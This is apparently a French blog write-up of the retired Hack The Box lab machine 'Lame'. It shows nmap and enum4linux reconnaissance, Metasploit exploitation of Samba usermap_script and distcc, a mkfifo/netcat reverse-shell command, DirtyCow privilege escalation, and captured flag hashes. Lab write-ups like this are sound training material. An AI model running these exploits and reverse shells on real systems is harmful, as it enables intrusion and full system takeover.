Post

Lame - HacktheBox

Lame est une machine de niveau débutant, qui ne nécessite qu'un seul exploit pour obtenir l'accès root. C'était la première machine publiée sur Hack The Box et c'était souvent la première machine pour les nouveaux utilisateurs avant qu'elle ne soit retirée. Dans cet writeup, je vous presente 2 methode pour avoir l'accès complet(root) sur cet Machine.

Reconnaissance

Pour commencer, je lance une petite scan avec nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
─# nmap $ip                                      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 05:08 GMT
Host is up (2.3s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 146.10 seconds
           Raw packets sent: 196673 (8.654MB) | Rcvd: 84 (3.696KB)

Nmap done: 1 IP address (1 host up) scanned in 30.97 seconds

─# nmap -sCV -Pn -p21,22,139,445 $ip                                              
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 05:09 GMT
Nmap scan report for 10.10.10.3
Host is up (0.20s latency).

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.14.10
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -4h00m27s, deviation: 2h49m45s, median: -6h00m29s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2024-04-02T19:09:20-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)


Petite Analyse

Ici je trouve 5 ports ouverts sur la machine, don’t :

  • FTP ouvert sur le port 21, mais rien d’interessant a l’interieur
  • SSH ouvert au port 22, avec une version OpenSSH 4.7
  • SMB ouvert aux ports (139/445) avec une version Smbd 3.0.20
  • Distcc ouvert au dernier port qui est le 3632

Pour commencer ma reconnaissance sur ces ports, je debute par le SMB qui couvre une version ancienne de Samba avec l’outil enum4linux

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
─# enum4linux -a 10.10.10.3
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Apr  3 05:15:19 2024

 =========================================( Target Information )=========================================

Target ........... 10.10.10.3
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
[+] Got OS info for 10.10.10.3 from srvinfo:                                                                                                                                                 
        LAME           Wk Sv PrQ Unx NT SNT lame server (Samba 3.0.20-Debian)                                                                                                                
        platform_id     :       500
        os version      :       4.9
        server type     :       0x9a03

Donc a partir d’ici, je peux faire quelque recherches sur la version Samba 3.0.20 que je viens juste de trouver.

Searchsploit

1er Exploitation

Je trouve un exploit du nom de Username' map script' Command Execution (Metasploit) deja disponible sur Metasploit que je peux utiliser pour l’exploiter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
msf6 > search Samba 3.0.20

Matching Modules
================

   #  Name                                Disclosure Date  Rank       Check  Description
   -  ----                                ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script  2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set lhost tun0
lhost => 10.10.14.10
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.10.14.10:4444 
[*] Command shell session 1 opened (10.10.14.10:4444 -> 10.10.10.3:57687) at 2024-04-03 19:38:03 +0000

id
uid=0(root) gid=0(root)
python -c 'import pty; pty.spawn("/bin/bash")'
root@lame:/root# cat root.txt
cat root.txt
92caac3be140ef409e45721348a4e9df

Voila, on viens de rooter la Box avec la premiere methode.

2eme Methode

Pour un approfondissement sur l’exploitation de la Box, j’ai pu constater que le dernier port 3632 etait aussi vulnerable a une Daemon Command Execution. D’abord je vais chercher un scanner de ce port avec nmap

1
2
─# ls /usr/share/nmap/scripts | grep "distcc" 
distcc-cve2004-2687.nse

Vulnerable

L’exploit confirme bien qu’il est vulnerable, alors je vais aussi utiliser Metasploit pour exploiter ce protocol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
msf6 > search distcc

Matching Modules
================

   #  Name                           Disclosure Date  Rank       Check  Description
   -  ----                           ---------------  ----       -----  -----------
   0  exploit/unix/misc/distcc_exec  2002-02-01       excellent  Yes    DistCC Daemon Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/misc/distcc_exec

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_bash
msf6 exploit(unix/misc/distcc_exec) > set lhost tun0 
lhost => 10.10.14.10
msf6 exploit(unix/misc/distcc_exec) > set lport 1337
lport => 1337
msf6 exploit(unix/misc/distcc_exec) > set rhosts 10.10.10.3
msf6 exploit(unix/misc/distcc_exec) > set payload cmd/unix/generic 
payload => cmd/unix/generic
msf6 exploit(unix/misc/distcc_exec) > set cmd id
cmd => id
msf6 exploit(unix/misc/distcc_exec) > run

[*] 10.10.10.3:3632 - stdout: uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] Exploit completed, but no session was created.
msf6 exploit(unix/misc/distcc_exec) > 

Ici, j’utilise le payload cmd/unix/generic qui va me permettre d’executer des command specifique, comme on le voit bien dans set cmd id ou je specifie ma commande qui sera un id de l’utilisateur. et qui me donne un resultat uid=1(daemon) gid=1(daemon) groups=1(daemon)

Donc maintenant, je vais mettre un payload pour obtenir un shell sur la machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
msf6 exploit(unix/misc/distcc_exec) > set cmd 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.10 1338 >/tmp/f'
cmd => rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.10 1338 >/tmp/f
Payload options (cmd/unix/generic):

   Name  Current Setting                            Required  Description
   ----  ---------------                            --------  -----------
   CMD   rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -  yes       The command string to execute
         i 2>&1|nc 10.10.14.10 1338 >/tmp/f


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(unix/misc/distcc_exec) > run

[*] 10.10.10.3:3632 - The remote distccd did not reply to our request
[*] Exploit completed, but no session was created.
msf6 exploit(unix/misc/distcc_exec) > 

Dans mon listener, je recois la connexion de la machine distant. Enfin je lis le fichier user.txt.

1
2
3
4
5
6
7
8
9
10
11
12
# sudo rlwrap nc -lnvp 1338                    
listening on [any] 1338 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.3] 37374
bash: no job control in this shell
daemon@lame:/tmp$ whoami
daemon
daemon@lame:/home$ cd makis
daemon@lame:/home/makis$ ls
user.txt
daemon@lame:/home/makis$ cat *
69454a937d94f5f0225ea00acd2e84c5

Privilege Escalation

Pour l’escalation de Privilege, j’execute linpeas.sh sur la machine et elle detecte que cette machine est vulnerable au DirtyCow(CVE-2016-5195)

1
2
3
[3] dirty_cow
      CVE-2016-5195
      Source: http://www.exploit-db.com/exploits/40616

je vais alors copier l’exploit sur la machine, ensuite la compiler avec : gcc dirtycow.c -o dirty -pthread et puis l’executer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
I have no name!@lame:/tmp$ ./dirty root
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: root
Complete line:
firefart:fiw.I6FqpfXW.:0:0:pwned:/root:/bin/bash

mmap: b7f4b000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'root'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: root
Complete line:
firefart:fiw.I6FqpfXW.:0:0:pwned:/root:/bin/bash

mmap: b7f4b000
madvise 0

Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'root'.

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

L’exploit a bien fonctioner et elle a creer un utilisateur firefart avec toutes les privileges root et aussi avec mon mot de passe root. Donc je n’ai jusqu’a me connecter en ssh avec cet utilisateur et le mot de passe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└─# ssh firefart@10.10.10.3
The authenticity of host '10.10.10.3 (10.10.10.3)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.3' (RSA) to the list of known hosts.
firefart@10.10.10.3's password: 
Last login: Thu Mar  7 22:23:04 2024 from :0.0
Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
firefart@lame:~# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@lame:~# cat /root/root.txt
92caac3be140ef409e45721348a4e9df
firefart@lame:~# 

Ressources supplementaires

Voici quelques ressources supplémentaires qui pourraient vous être utiles : DistCC Pentesting DirtyCow Hacking DirtyCow ExploitDB

This post is licensed under CC BY 4.0 by the author.